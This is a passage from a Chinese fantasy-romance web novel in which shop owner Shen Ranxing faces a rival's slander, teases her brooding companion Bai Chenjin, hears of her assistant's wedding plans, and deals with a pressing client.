这里的妖物虽然形态各异,却大多眼神清亮,精神饱满,与天瑶庄严谨肃杀不同,反而有种…… 从内而外迸发出来的勃勃生机与某种奇异的和谐感。 一种淡淡的危机感攀上了心头。 这种欣欣向荣的气势,并非靠强权压制而来,更像是一种自发凝聚的活力。 这在他管理的那些或死气沉沉,或规矩僵化的妖院里,是从未见过的。 李瑶光轻轻摇头,禁止自己有这样的想法。 “少东家,怎么了?”沈染星在一旁问道。 李瑶光温和笑道:“没事。” 他压下这点危机感。 她的成功,不过是一时侥幸,加上些妇人之仁罢了。 李瑶光迅速在心中下了论断。 一介女流,能将这些脾性各异的妖物聚拢起来已属不易,但格局有限,手段温吞,终究难成气候。 这共生苑,上限也就如此了。 这么一想,他心底那点刚冒头的危机感消散了去,取而代之的,是一种居高临下的怜悯和笃定。 就在李瑶光心中暗自评判时,后院一角突然起了骚动。 原来是两只性情三冠公鸡不知因何故撑起了攻击姿态,互骂起来,火星四溅,啼叫声顿时打破了之前的和谐景象。 平日里来后院的客人不多,沈染星对院中妖物管束并不严苛,讲究个张弛有度。 小妖们有些小摩擦,吵吵闹闹也是常事,通常自己吵几句也就散了。 但这一次,矛盾似乎不小。 两只妖越打越凶,眼看就要从口角升级成真正的斗法。 连一旁的李瑶光都被吸引了全部注意力,眉头轻蹙看着它们。 沈染星见状,对李瑶光歉然一笑:“让少东家见笑了,还请稍等片刻,我去去就来。” 李瑶光微微颔首。 沈染星快步走过去,却并未施以惩戒,甚至不立刻厉声喝止,而是先分开了两只吵得眼红的妖。 然后蹲下身去。 李瑶光有些不喜。 在他看来,妖物便是下属、是工具,岂能如此放纵。 发生争斗,东家就该以绝对权威立刻呵斥镇压,彰显威严,手段哪能这样柔和,简直…… 儿戏! 李瑶光眉头紧皱。 沈染星耐着性子听两只妖你一言我一语,似乎是在分辨是非曲直,如同街坊里正调解邻里纠纷。 她听得认真,偶尔还会问上一两句。 李瑶光几乎忍不住要喝止她。 随后一顿,眼神逐渐幽深。 她……听得懂它们的话? 是妖能者? 沈染星很快便调解好了两妖,回到李瑶光身侧。 李瑶光开门见山:“你能听得懂它们的话?” 风吹过,树上叶子沙沙地响,地上光斑微微晃动。 “那怎么可能,”沈染星面色没有任何异常,睁眼说瞎话,“我就是瞎糊弄,和稀泥,它们心性单纯,看反应就大概猜到想法了。” 沈染星经常与小妖接触,对这个问题早已见怪不怪。 见她实在从容,又想着不会有人如此光明正大地暴露能力,李瑶光信了,不继续深问。 沈染星看着他,眉眼弯弯,笑得很纯真甜美,他却觉得有些阴寒。 他一直认为女子无才,优柔寡断。 沈染星有今日,全靠秦昭的照拂,她不过是秦昭一时兴起,养在这里的女子。 可她的眼神让他不由得认真了几分,升起了试探之意。 “秦堂主年轻有为,待人接物更是如沐春风,对你很不错吧。”他语气温和,像是随口闲聊。 沈染星不知为何突然提起秦昭,并未多想,只当是寻常客套,便也客气回应:“秦堂主为人的确仗义。” 李瑶光点头称是,接着又道:“你与他年纪相仿,又兴致相投,那么平日交流起来,是不是十分投缘?“ 沈染星脚步微顿,侧头看了李瑶光一眼。 他面上依旧是那副人畜无害的温和笑容,但这话里的意味,细细品来,就有些不对了。 他似乎不是在泛泛而谈,而是在刻意地将她和秦昭捆绑在一起议论。 真是奇怪。 他查到白尘烬不喜她靠近秦昭,所以在离间她和白尘烬? 女主道:“少东家说笑了,秦堂主公务繁忙,我只是寻常商户,不过与他有合作,谈不上什么投缘交流。” 然而,李瑶光似乎并不打算就此打住。 在又拐过一个回廊后,他阴阳怪气感叹:“说起来,秦堂主似乎对你这共生苑格外青睐?前些日子还经常见他的座驾在附近出现过,有这般强援在侧,真是令人羡慕啊。” 闻言,沈染星倒吸一口凉气。 这话就说的……怎么听起来醋意满满。 难道不是离间,而是上门警告—— 她和秦昭不要走太近? 她好像发现了什么不得了的秘密。 不该多问的,可嘴在前面说,脑子在后面追。 等她反应过来,已经把话说了出去。 “你喜欢,啊不是,你爱慕秦昭?” 话音刚落,风停,万籁俱静。 世人皆知,李瑶光生平有三大忌:一恨被人说相貌阴柔似女子,二恨被传有男子对他倾心,而最最恨的,便是被人臆测他如女子那般,爱慕男子。 第44章 爱慕他的人不是她 李瑶光活了这么多年, 在商海沉浮中,早已练就了喜怒不形于色的本事。 可沈染星这句直戳心窝子的反问,配上她那副“我懂,我都懂”的了然眼神, 就像一根点着的火柴, 扔进了他憋了满肚子的火药桶里。 “你……” 他一张俊逸的玉面瞬间涨得通红, 气血上涌,连耳根都染上了绯色。 他地位尊贵,向来受人追捧, 何曾受过这等臆测和……羞辱! 更何况, 还是被一个他打心眼里瞧不上的妇道人家。 可偏偏这是在别人的地盘, 周围还有来往的雇工。 他自诩一位如玉君子,若是当场发作,与一位女子在此事上争论,指不定会被传成什么样。 李瑶光死死攥紧了袖中的拳头,才勉强将那股邪火压下去。 他深吸一口气, 蹙起眉头, 道:“沈东家……慎言, 我只是就事论事, 没有其他意思。” 他声音听起来平稳,不过细听之下,还是有些气血上涌的不稳气息。 沈染星一看他这反应,眼睛都亮了。 脸红了,说话都结巴了, 这不是害羞是什么? 她顿时觉得自己真相了,心中那点因为被轻视而产生的不快也消散了不少,反而觉得这老狐狸还…… 怪纯情的。 看破不说破, 她自认还是很善良的。 于是,她非常好心地附和道:“是是是,李东家不必解释,我明白的。” 别不好意思,我都理解,喜欢一个人又不是什么丢脸的事。 李瑶光看着她那副看热闹的表情。 怒气又窜上来,他怀疑自己和她八字不合,否则她怎会总能如此精准地冒犯到他。 李瑶光强忍着怒气,语气生硬,再次强调:“沈东家怕是误会了,我对秦堂主只有同道之谊,绝无任何不可告人之心。” “嗯嗯,同道之谊,我懂的。”沈染星从善如流地点头。 李瑶光压着怒火:“你懂什么了?” “你和秦堂主什么关系都没有。” 李瑶光听着这话,觉得别扭,不过也勉强可以接受。 这个话题翻篇,二人不过又聊了几句,沈染星一个不小心,又把话题拉了回来。 李瑶光:“你什么意思?” 沈染星:“我是说,秦堂主确实风姿出众,为人又正直,有人欣赏再正常不过了。” 李瑶光气息一滞。 看着她笑得甜美又无害的脸。 他看出来了,这女子根本就没信他的解释,或者根本就是故意的。 他和秦昭关系算不上好,偶有龃龉,对方也常常找由头这般气自己。 秦昭与他棋逢对手,也罢了。 这个他根本看不起,依附于他人的女子,怎么敢…… 简直让他憋屈得想要杀人。 沈染星看个秦昭一张脸又白转红,再转黑,阴沉得几乎要滴下水来。 暗自思忖,看来…… 他爱得真的很深。 不然,只是她只是随口提一句,他怎么嫉妒成这样? 几天后,市井都在传言,有人爱慕清风堂堂主秦昭。 各种事迹众说纷纭,无外乎一个意思:那人用情至深。 只是那人的身份一直不明,秦昭又是万千少女倾慕的对象,把人的胃口吊得十足。 沈染星只是大致了解下,院里事务繁忙,她很快便抛之脑后了。 又过了几日,她察觉乔阿盈有些不对劲,做事总心不在焉,看向自己的眼神也躲躲闪闪,欲言又止。 乔阿盈坐在院中石桌前,再一次用那奇怪的眼神看过来时,沈染星干脆朝乔阿盈走过去。 问个明白。 “阿盈,你是不是有什么事瞒着我?” 乔阿盈不敢直视她,支吾了半天,才小声道:“东家……你听没听说外面那个传言?” “哪个传言?” 沈染星一时没反应过来。 乔阿盈道:“就是有人说……有人爱慕秦昭秦堂主的事。” 沈染星道:“嗯,听说爱慕秦昭的那人,在镇上的名望也是极高的。” 乔阿盈抬眼直视沈染星,声音越来越低:“我知道是谁了。” 说完,她还小心翼翼地四下张望,生怕被什么不该听的人听了去。 沈染星有些惊讶:“你知道了?” 她先是怔愣一瞬,随即恍然。 知道这丫头的市井消息灵通,可不知这般灵通,居然知道那个传说中的神秘人士,就是李瑶光了。 本以为两人可以聊聊八卦,可没想到,乔阿盈的反应异常激烈。 乔阿盈猛地抬起头,眼睛里满是震惊和不解,甚至带上了一丝责备:“东家,你、你怎么可以这样!” 乔阿盈没想到她直接承认了,还如此理直气壮。 沈染星被这突如其来的指责搞懵了,觉得十分冤枉。 “我怎样了?我可是清清白白的,这事不是我说出去的啊。” 是李瑶光自己不小心走漏了风声吧。 “不是说不说出去的问题,”乔阿盈急得跺脚,“是白大哥他……他虽然看起来冷冰冰的,甚至有时候让人觉得挺恐怖的……” 沈染星见她越说越过分,吓得赶紧上前捂住她的嘴,心惊胆战地环顾了一圈四周,确认白尘烬不在,才送了口气。 她压低声音:“阿盈,今天吃错药了?敢在背后这么编排他。” 乔阿盈平时见到白尘烬跟鹌鹑似的,今天怎么胆子这么肥。 乔阿盈用力扯开沈染星的手,有些不满:“东家,我一直把你当亲姐姐的。” 沈染星:“把我当亲姐姐,也不能随便涨工钱的。” 乔阿盈一愣:“怎么就不能涨了?” 沈染星冷漠无情:“就是不能。” 乔阿盈正欲争论,才发现跑偏了,摇摇头,把思绪拉回来:“不是说这个,我意思是,白大哥外表冷漠,内里却是个善良的人……” 沈染星奇怪得看着乔阿盈。 善良的白尘烬……多么诡异又小众的词语。 “……可他对你的在意,院里谁看不出来,你也一直跟他形影不离的,你怎么可以做出这种事呢?” 沈染星越听越糊涂,一头雾水:“我做什么了?你把话说清楚。” “你还装糊涂,”乔阿盈道,“我都听说了,说你脚踏两条船,一面跟白大哥恩爱不清,一面又爱慕着秦昭秦堂主,靠着那种关系上位,用身体换取便利和好处。” “什么?!”沈染星如遭雷击,猛地从椅子上站起来,“我什么时候爱慕秦昭了,这都哪跟哪啊。” 乔阿盈被她吼得一缩:“我得到的信息,有鼻子有眼的,说你能撑起这院子,全靠秦堂主在背后支持。” 她越说越委屈:“我自是不信的,还和那些人吵起来了,甚至差点打起来……想不到你自己承认了,居然是真的。” 沈染星按下心中的震惊,深吸了好几口气,冷静下来。 她再次确认:“所以说,你收到的最新消息,传言中爱慕秦昭的人,其实是……我?” 乔阿盈用力点头。 沈染星扶着额头,哭笑不得:“搞错了,全都搞错了,爱慕秦昭的,明明是天瑶庄的李瑶光啊。” “李瑶光?!”乔阿盈有些傻眼,喃喃道:“可这天瑶庄少东家,不是男子吗?” “你没听说过男子也会喜欢男子吗?” “有是有,可是……” “别可是了,快快帮我分析分析,这到底是怎么回事。” 乔阿盈分明记得,那天瑶庄少东家最是记恨别人说他容貌阴柔似女,更别说,说他像个女子般,爱上其他男子…… 不过,这倒是一个惊天大消息。 沈染星和乔阿盈大眼瞪小眼,沉默了片刻。 随后二人凑在一起,将李瑶光来访那天的情形,还有如今这迅速传开的谣言,仔细串联起来琢磨了一番。 他们得出了一个极其接近真相的猜测。 李瑶光爱慕秦昭的事,被沈染星当面戳穿后,他恼羞成怒,又担心这个把柄被沈染星泄露出去,影响他堂堂天瑶庄东家的声誉。 于是,他干脆先下手为强,恶人先告状,利用自己的势力散布谣言,把“爱慕秦昭”、“靠身体上位”的脏水泼到沈染星身上。 让她成为众矢之的,这样既能报复沈染星让他难堪,又能完美地把自己隐藏起来,用沈染星当了他的烟雾弹。 想通了这一切,沈染星气得牙痒痒。 好他个李瑶光,表面上人模狗样,背地里竟然这样利用她,亏她还守口如瓶,看这事态,直接想毁了她的名声和生计。 既然他李瑶光不仁,就休怪她不义了! 想让她当这个挡箭牌?门都没有! 沈染星轻哼一声,双手交叉抱臂,“阿盈,你过来一下。” 乔阿盈凑了过去。 沈染星与乔阿盈又低声交谈了几句,交代了一些事情,这才转身打算回书房继续处理事务。 谁知,她的脚停在书房门前,书房那扇虚掩着的门竟无声无息地自己打开了。 一只手从门内阴影中倏地伸出,扣住了她的手腕,把她拽进了书房里。 沈染星轻轻惊呼一声。 会用这种冷不丁的方式把她拉到身边的,除了白尘烬,不会有第二个人。 与最初相识时那种近乎粗暴的拉扯相比,他现在的动作虽然依旧强势,力道却已然收敛了许多,至少不再是那种完全不顾她是否会疼痛的蛮横。 饶是如此,这突如其来的袭击,还是让她心尖微微一颤。 书房光线略显昏暗。 沈染星抬头,视线渐渐适应光线,看清眼前这张脸庞,棱角分明,笼罩着寒霜。 她非但没有害怕,反而唇角一弯,笑盈盈地望着他:“怎么了?” 白尘烬没有立刻回答。 他只是垂眸盯着她,面色阴沉得能拧出水来,周身散发出的气息冰冷而压抑,仿佛寒冬深夜凝结的雾凇,悄无声息地弥漫开来,带着一种能将人血液都冻结的森然寒意,连书房里流动的空气都似乎因此而变得粘稠滞涩。 沈染星被他这低气压弄得有些莫名其妙。 还以为他也听见传言了,所以吃醋了,来质问的。 现下把她拉进来,又一言不发,就这么冷飕飕地盯着她…… 这架势,该不会是在等着她主动交代什么吧。 她眨巴着眼睛,试探性地开口,声音放软了几分:“……你也听说,有人爱慕秦昭的事了?” 她仔细观察着他的神色:“其实,那个人不是我。” 话音落下的瞬间,预想中的质问或冷嘲没有到来。 相反,白尘烬手臂一收,猛地将她紧紧搂进怀里,然后……将头深深埋在了她的颈窝处。 鼻梁抵在她的颈侧,冰得她轻轻一颤。 此时的他,似乎与寻常时候不太一样。 沈染星不明所以:“发生什么事了吗??” 第45章 还得再加把火才行 白尘烬并未立即回答, 只是贪婪地汲取着独属于她的,淡淡的暖香。 今日,听闻她心悦秦昭,他说不准自己是何种心情。 其实他并不担心她会离开他, 甚至即便她有这个心思, 他不放手, 她也离不开。 可是他发现,困得住她的人,却困不住她的心。 他不能时时刻刻跟在她身侧。 许多时候, 她做了什么, 想了什么, 他根本无从得知。 白尘烬高挺的鼻尖无意识地摩挲着沈染星的颈窝。 这是一种无声的依赖和寻求安慰的姿态,与他平日阴冷的形象形成了巨大的反差。 沈染星呼吸紊乱了一瞬,头微微侧向另一侧。 白尘烬更深地埋了进去。 她对他总是纵容的,会因他的动作而起反应,这让他感到安宁。 然而, 这份短暂的慰藉之下, 是暗流汹涌的不安与偏执。 她可以对他笑, 也可以对别人笑, 她可以依赖他,也可能……去依赖别人。 像这次关于秦昭的谣言,哪怕明知是假的,一旦有什么风吹草动涉及她与旁人的关联,都会让他瞬间如临大敌。 那个谣言对她名声影响极大, 她却反应平平,不在意…… 不在意那些人会把她和秦昭放在一起讨论,臆想他们发生亲密的事, 用那种眼神看待她…… 不在意别人将她与秦昭看作一对。 想到这里,白尘烬浑身血液几乎灼烧,胸口剧烈起伏,心脏跳得像是要炸开来。 不可能,不会的,他不允许这种事情发生。 白尘烬大脑一阵眩晕,回过神来时,已经张口咬住了沈染星的脖颈。 力道不重,她没有丝毫抗拒,只是轻哼一声。 甚至顺势抬手轻轻放在了他头上,头微仰着,给予了他更多的索取空间。 白尘烬的唇游离在她脖颈间,汲取着她肌肤的温度,渐渐往下…… 他一直是别人不相信的那个。 永远是被放弃,被推出去顶罪的那个。 过往的岁月里,并非没有人真心待他,甚至关心他的人并不少。 可他们根本也无法阻止发生在他身上的一切,无法把他留在身边,无法保护他。 甚至连相信他,也做不到。 他习惯了被戒备,被畏惧,被当作异类。 所以,即便此刻她温顺地在他怀中,耐心地向他解释,任由他索取,那份深入骨髓的不安全感依旧如影随形。 他总觉得自己抓不住她,总觉得眼前这份温暖与靠近,不过是镜花水月,终有一日,她也会像其他人一样,因为某种原因,毫不犹豫地转身离去。 或许是因为一个更正常、更光明的选择,比如秦昭。 或许是因为无法忍受他阴晴不定的性子与潜藏的危险。 或许就在她得手,达到了目的的那一日…… 这一念头狠狠刺伤了他。 白尘烬迅速松开她,重重呼吸着,猛地后退几步。 沈染星本来轻轻揪着他的头发,被他一把扣住手腕。 气氛正好,不知为何他突然停下了,还盯着她的脖颈看了又看,只是每过几息, 就会迅速移开,随即又控制不住地滑落到脖颈上。 最让她心跳加速的是, 他的眼神冷淡,目光扫过之处却灼热。 沈染星呼吸急促:“你怎么停下来了?” 白尘烬似乎从方才那片刻的脆弱依赖中抽离了出来。 她心中莞尔,更加确信他这番亲昵举动,一定是醋海生波,被她与秦昭的谣言刺激到了。 白尘烬平日里阴冷疏离,只有在这种时候,才会被逼得流露出真实情绪,甚至主动靠近。 看来,适当地让他吃点小醋,果然是促进关系的良方。 眼见时机正好,她决定趁热打铁,故意旧事重提,声音放得软糯,带着点循循善诱的意味:“秦昭的确与我们往来愈发紧密,合作也……” 白尘烬道:“我们不需要他。” 沈染星道:“因为有他助力,许多事情更顺利了,他对于我而言,也算是锦上添花了。” “那你的意思,是对这个谣言很满意?” 白尘烬眼神冷,语气也冷,她非但不惧,故意歪着头,眨着眼反问:“那你觉得……我该立刻去澄清这个谣言吗?” 她分明早已安排乔阿盈去处理,此刻却偏要摆出一副征求他意见的模样。 分明是想要逗弄他。 “那是你的事。”白尘烬顿了顿,视线划过她纤细的锁骨,又落在她带着狡黠笑意的眼眸上,“如果你宁愿毁了名声,也要同他捆绑在一起,我还能说什么?” 如果在相识之初,沈染星绝不敢这般挑衅,那时他盛怒之下是真会掐她脖子的。 可如今,一切都不同了。 白尘烬的眼神,欲望压过了纯粹的怒火。 于是,她故意后退一步,作势妥协:“好吧,听你的,我这就把阿盈叫回来,让她先停下我刚刚吩咐她去澄清谣言的那些安排。” 话音刚落,白尘烬眉头一压,周身气息瞬间变得冰寒刺骨,仿佛连空气都要冻结。 扣住她手腕那只手的力道也加重了。 沈染星见他真的动了怒,知道再逗下去,玩笑就开过了火,见好就收。 她立刻绽开一个安抚的笑容,声音软了下来:“好啦,开玩笑的,你别生气。” 她走上前,反握住他微凉的手:“没有他,我不过是路子走得慢一点,可没有你,我早就寸步难行,死都不知道死过多少回了。” 白尘烬垂眸看着她,喉结上下滚动了一下,似乎想说什么,但并没有开口。 沈染星抬起眼,望入他眸中,认真看着他。 还没等她借着这缓和的气氛更进一步,他抽离了手,身形一闪,已然消失在了原地。 看着空荡荡的面前,沈染星在心中无奈地叹了口气。 那她跟头驴有什么区别,眼前吊着一根鲜嫩欲滴的胡萝卜,看得见,却总差那么一点点够不着。 更憋屈的是,这根胡萝卜,还随时可能被别人拿走。 还得再加把火才行。 毕竟,这胡萝卜,只有真正吃进嘴里,牢牢握在手中,才算是自己的- 夕阳将云层染成暖金色。 沈染星在院中寻找乔阿盈,最终在靠西边的围墙下发现了她。 那丫头正抱膝坐在高高的墙头上,出神地望着远方。 “阿盈!”沈染星在底下唤了一声。 乔阿盈回过神,低头看见是她,脸上露出一抹浅笑:“东家。” 沈染星也不叫人搬梯子,自己利落地攀着靠在墙边的竹梯,三下两下也爬了上去,拂了拂裙摆,在乔阿盈身边坐下。 墙头视野豁然开朗。 放眼望去,蜿蜒的土路在田野与屋舍间延伸,越远越细,最终在天地交接处,化作模糊不清的一个小点,没入朦胧暮色之中。 晚风拂面,带着草木的清新气息。 “一个人坐在这儿发什么呆呢?”沈染星用肩膀轻轻碰了碰她。 乔阿盈收回目光,低声道:“没什么,就是……看看风景。” 沈染星侧头瞧见她眉宇间那点藏不住的怅惘,心下了然,故意拖长了语调,打趣道:“哦——看风景啊,我还以为……” “东家!”乔阿盈打断她,脸颊瞬间飞上两朵红云。 沈染星没放过她:“……以为咱们阿盈是在这儿盼夫归呢。” 乔阿盈羞得伸手就要来捂沈染星的嘴:“你别取笑我了!” 沈染星格挡开她的手,笑道:“好了好了,我不闹你了。” 乔阿盈自打认识石多磊以来,便与他形影不离,小情侣感情也是极好的。 这是石多磊第一次要外出近一个月的时间,她自然担心。 这一次的外出,要从那大鹏妖说起。 大鹏妖的伤将养了半个月,前些日子觉着它好些了,便试着想放它出笼活动。 谁知它的性情反倒变得愈发不稳定,躁怒异常,甚至还抓伤了一个前去喂食的雇工。 正一筹莫展之际,石多磊打听到数百里外的青石镇,似乎有一只合适的鹰妖。 这鹰妖血脉虽不及大鹏稀罕,却性情忠诚,擅于传讯。 他当即便动身前去考察了。 这一去,眨眼已过了两日。 路途辗转,交涉考察,还需些时日才能回来。 沈染星看着乔阿盈绯红的脸颊和眼底那抹真实的思念,带着几分认真,劝慰道:“想念自己喜爱的人,又不是什么伤天害理的事,真的想了,那就大方地想,不用遮遮掩掩。” 乔阿盈转头看她。 她望着天边那最后一点暖光,声音轻轻的:“若是你实在想念得近,我准你过去寻他。” 闻言,乔阿盈心中一热,连带着眼眶也泛热,正欲表陈忠诚与感激,又听她继续道: “不过,路费你自己出……” 乔阿盈怔住。 “还有,请假按天数扣工钱。” 乔阿盈的心一瞬冷得邦邦硬。 她说呢!这抠门东家什么时候变得这样大方了。 “东家,你还能再抠门一点吗?” “可以的,就是……” 乔阿盈震惊地瞪大双眼。 沈染星见她呆滞的表情,捂着肚子,哈哈大笑起来。 合着是在故意逗她! 乔阿盈咬着后槽牙看她,抓住她的肩头,以防她把自己笑得掉下去。 “东家,我打算等石大哥这次回来,就跟他把婚事办了。” 乔阿盈的声音很轻,混在沈染星的笑声中,也不管她听没听见,说完,便抬头看向了夕阳。 沈染星正沉浸在自己的恶作剧中,笑得不可自拔,大脑处理了好半晌,才理解了乔阿盈的话。 她最后的一声笑陡然升高,几乎变成一声鹅叫。 “什么?!”她猛地扭过头,看向乔阿盈。 乔阿盈脸上的红晕未退,眼中更添了几分坚定。 沈染星道:“其实,你逗我,也没必要开那么大的玩笑……” “我们是认真的。” 闻言,沈染星惊得差点从墙头上滑下去,眼睛瞪得溜圆,“结婚?你才多大啊?” 她下意识觉得乔阿盈还是个半大孩子。 乔阿盈被她的反应弄得有些不好意思,小声回答:“我……二十又三了。” “二十三?”沈染星又是一声惊呼。 她上下打量着乔阿盈,身板纤细,圆脸还带着稚气,“不可能,我看你顶多十六七。” 她心里快速算了一下,自己这具身体也才二十二,这丫头居然比自己还大一岁。 不可能。 她一直把她当作半大孩子来看,到头来居然是比自己年长的人…… 多奇怪啊。 乔阿盈腼腆地笑了笑,解释道:“我个子生得比较小,脸也长得比较玲珑,所以看起来年纪小。” 沈染星看着她认真的表情,缓了足足一刻钟,这才慢慢消化了这个事实。 在这个世界,按她的年纪,的确是该谈婚论嫁了。 沈染星拍了拍胸口,顺了顺气,心里却不由自主地泛起一丝复杂的感慨。 好家伙,平时不声不响的,这进度条拉得可比她和那块冰疙瘩快多了…… 她仔细端详着乔阿盈,见她眼中满是期待和忐忑,显然是把自己当成了最亲近、最能做主的人。 这份毫无保留的信任,让沈染星心里一软。 “你想清楚了?”沈染星收敛了玩笑的神色。 石多磊那家伙,虽然有时候莽撞了点,但人品是可靠的,对乔阿盈也是真心实意,她自然是支持的。 乔阿盈用力点头。 “行!”沈染星一拍大腿,豪气干云,“既然你决定了,那这事就包在我身上,一定要让你风风光光地出嫁。” 她此刻俨然一副娘家人的架势。 乔阿盈闻言,脸上绽放出灿烂的笑容。 此刻的乔阿盈并未理解其意。 在这之后,共生苑遭遇一次近乎毁灭性的重大打击,那时,她看着沈染星黑亮的眼眸,才恍觉她诺言的重量。 半个月后,云老先生再次登门。 沈染星将他迎入客厅,奉上香茗,心下却有些诧异。 她笑着问道:“云老先生,您看,我们约定的三个月期限,如今才过了不到两个月,您怎么提前来了?” 云老先生端起茶盏,却没有立刻饮用,叹了口气:“实不相瞒,沈东家,老夫时间紧迫,怕是等不了那么久了。” 他声音不似往常那般从容,脸上的皱纹似乎比上次见时更深了些,眉宇间带着一丝挥之不去的焦灼。 沈染星心里暗叫不妙,面上不动声色:“老先生,您的要求特殊,合适的传讯妖确实难找,我们目前……还没有找到完全符合的。” “哦?”云老先生放下茶杯,看向沈染星,“可我听说,贵院前些日子,不是收留了一只受伤的大鹏妖吗,此等血脉天赋,正是上佳的传讯之选。” 消息可真灵通。 沈染星道:“确实有过一只大鹏妖,但是它伤势很重,而且……性情方面有些问题,恐怕很难胜任您托付的重任,所以我们没有将其列入考量。” 云老先生却不肯罢休:“沈东家,莫非是有了更好的买主,便想将老夫预定的妖物转手他人?做生意,可要讲究个先来后到啊。” 他脸上依旧挂着那副慈祥和蔼的表情,但话语间的步步紧逼,却让沈染星感到一种强烈的不适。 眼前的云老先生,似乎失去了往日那份超然物外的气度,变得有些……咄咄逼人。 “不会不会,”沈染星连忙摆手,语气诚恳,“老先生您是我们最先接洽的,如果真有合适的,肯定先紧着您的需求来。” 云老先生正欲接话,动作一顿。 他的视线忽然越过沈染星,直直地投向厅外。 沈染星顺着他的目光望去。 白尘烬不知何时站在了院中的回廊下。 阳光明媚,勾勒出他颀长挺拔的身形,他并未穿着劲装,而是一身深色常服,衣袂在微风中轻轻拂动,背对着他们,看不见他的脸,却能看见周身自然流露出的那一股清冷矜贵气场。 此时的他站在那里,不像闻之色变的煞神,倒更像哪位世家门第里走出来的清贵公子,只是在安静地等待着什么。 沈染星知道,他是在等自己。 她收回视线,却发现云老先生依旧怔怔地看着门外。 云老先生眼神复杂难辨,那里面似乎有一闪而过的惊愕,以及几不可察的…… 忌惮? 厅内的气氛一时间有些凝滞。 沈染星心中疑窦丛生,试探性地开口:“云老先生,您……认识门外那位?” 云老先生缓缓收回目光,端起茶杯啜了一口,垂下眼睑:“不认识,只是见那位公子气度不凡,多看了两眼。” 云老先生先前那微微的急躁消失了,变回了从前熟悉的平稳从容。 沈染星察觉到了这细微的变化。 她看着茶盏中漂浮的茶叶,心想,糟糕,他认识。 不仅认识,似乎还挺在意。《 》 45-50 第46章 亲她,换信 沈染星并未深究云老先生对白尘烬的微妙态度。 他们势力相斗, 她护好自己便好。 之后,关于是否启用大鹏妖,她与云老先生你来我往,谈了几个来回, 也没一个定论。 气氛僵持。 这时, 纪明月的身影出现在了厅门。 她依旧是那副冷冰冰的模样, 似乎只是恰巧路过,见二人气氛微妙,顺便进来听听进展。 沈染星正觉得头疼, 见纪明月来了, 便顺势将大鹏妖目前性情不稳、难以掌控的情况又简要说明了一遍, 也算是间接向云老先生再次解释为何不能启用它。 一开始,讨论还在正常进行。 纪明月虽然话少,但偶尔插一句,都切中要害,指出大鹏妖伤势虽愈, 但妖丹曾被动过手脚, 心性难测, 强行驱使风险极大。 然而, 沈染星渐渐察觉到一丝异样。 她发现,自从纪明月进来,一言两语地帮自己解释后,云老先生那原本只针对妖选问题的焦躁,似乎隐隐转向了纪明月本人。 他并未明着指责什么, 但纪明月越是帮腔,他那股不爽的气息越是明显。 即便很轻微,沈染星还是捕捉到他眼神里, 那瞬间掠过淡淡的不耐与……责怪。 甚至在纪明月客观分析大鹏妖状态时,云老先生会突然打断,语气带着一种莫名的挑剔:“妖物野性难驯本是常态,既已救下,便该设法驯服利用,瞻前顾后,岂能成事?” 这话看似在说妖,那不满的视线却若有若无地扫过纪明月。 沈染星心中纳闷。 在她看来,纪明月言行举止与平日并无不同,冷静、客观,甚至此时的她,比平时还更显得守规矩些。 实在不明白哪里惹到了这位和善的老先生。 纪明月自然也感受到了那份针对,她眸光愈发冰冷,在云老先生面上停留许久。 就在沈染星担心她翻脸时,她却又深又缓地吸了一口气,咬得腮帮子鼓起小小一块,不再说话。 然后侧过头去,不再看云老先生。 云老先生不满她的态度,面色极差。 沈染星连忙打圆场:“我们家明月就这般脾气,云老先生别见怪,来日我请您吃饭,赔个不是。” 经过她的劝慰,空气寂静几息后,云老先生态度才软和下来,没有多加追究。 他重新将话题拉回,态度愈发强硬。 他眼睛浑浊,眼神却锐利,盯着沈染星:“沈东家,老夫时间不多了,等不起你们的万全之策,五日,最多再给你们五日时间。” 他最终还是没有做出任何让步,甩下这近乎最后通牒的五日期限,便起身告辞。 离去前,那眼神再次不经意般掠过面色阴寒的纪明月。 沈染星侧身上前,给他引路,也顺带挡住他的视线。 沈染星送走云老先生,回到厅内。 纪明月面无表情,坐在太师椅上,单手支着太阳穴,静静看着沈染星走到身边。 “你是不是被卖了,还会帮别人数钱啊?”她问道。 沈染星隔着桌子,坐在她身旁,笑道:“别人那当然不会,但是是你的话,我还得多数几遍。” 纪明月垂下眼,冷冰冰道:“少跟我贫嘴。” 说着,她从怀里掏出一封信,递给沈染星:“这时多磊托人加急送回的,你看看。” 不知为何,沈染星看到这封信,心便突突地跳。 压下心头的异样感,她当着纪明月的面拆开了石多磊的来信。 心猛地沉了下去。 果然,这是一个坏消。 短短几行字,却让她的脸色瞬间变得难看。 纪明月察觉到她的变化,出声询问,声音依旧没什么温度:“信里说了什么?” 沈染星将信纸递给她,声音有些发沉:“我们晚了一步,石多磊找到那只鹰妖时,它已经被毒死了。” 她顿了顿,皱眉补充道:“而且死因蹊跷。” 纪明月看了眼她,拿过信纸,快速扫过上面的内容:“多磊怀疑是有人针对我们?” 沈染星点头:“嗯。” 石多磊在信中写道,他仔细查探过,下毒手法隐蔽,不像是普通纠纷,倒像是…… 冲着他们来的。 有人似乎早就料到他们会去寻找替代的传讯妖,抢先一步下手,断了他们的后路。 为了查明真相,揪出幕后黑手,他决定暂时留在那边深入调查。 沈染星抬眼,看着纪明月手中的信,说道:“这边刚逼到绝境,那边的后路就被人断了……” 她视线往上移,落在纪明月脸上:“你不觉得,太巧了吗?” 纪明月将信递回,并未回应她的眼神:“不是巧合,是有人不想让我们找到合适的传讯妖,或者说……不想让我们如期完成云老先生的委托。” 她扫了一眼信件,接着道:“而且,对方对似乎很清楚我们的动向。” 沈染星不自觉攥紧了信纸。 石多磊去寻找鹰妖是临时决定,知晓范的人不多。 若真是针对,那这幕后之手,对他们的事,可谓是……了如指掌。 似乎与云老先生也脱不开干系。 他的这个委托处处都透露着奇怪,可一切都云里雾里的,根本看不清。 沈染星揉着发痛的额角,看着石多磊那封报丧的信,只觉得脑壳疼。 备用方案彻底泡汤,云老先生的五日之期像一把悬在头顶的利剑。 她深吸一口气,带着壮士断腕的决绝,看向纪明月:“退单吧。” 声音里满是肉疼,“定金赔给他,这生意做不了了,再折腾下去,指不定会出些什么事。” 想到那白花花的银子到手了,还要吐出去,她的心都在滴血。 这得接多少零散任务才能赚回来啊。 “不能退。” 纪明月斩钉截铁,拒绝了她,没有丝毫犹豫。 沈染星愕然抬头:“为什么?现在明显是有人搞鬼,我们……” 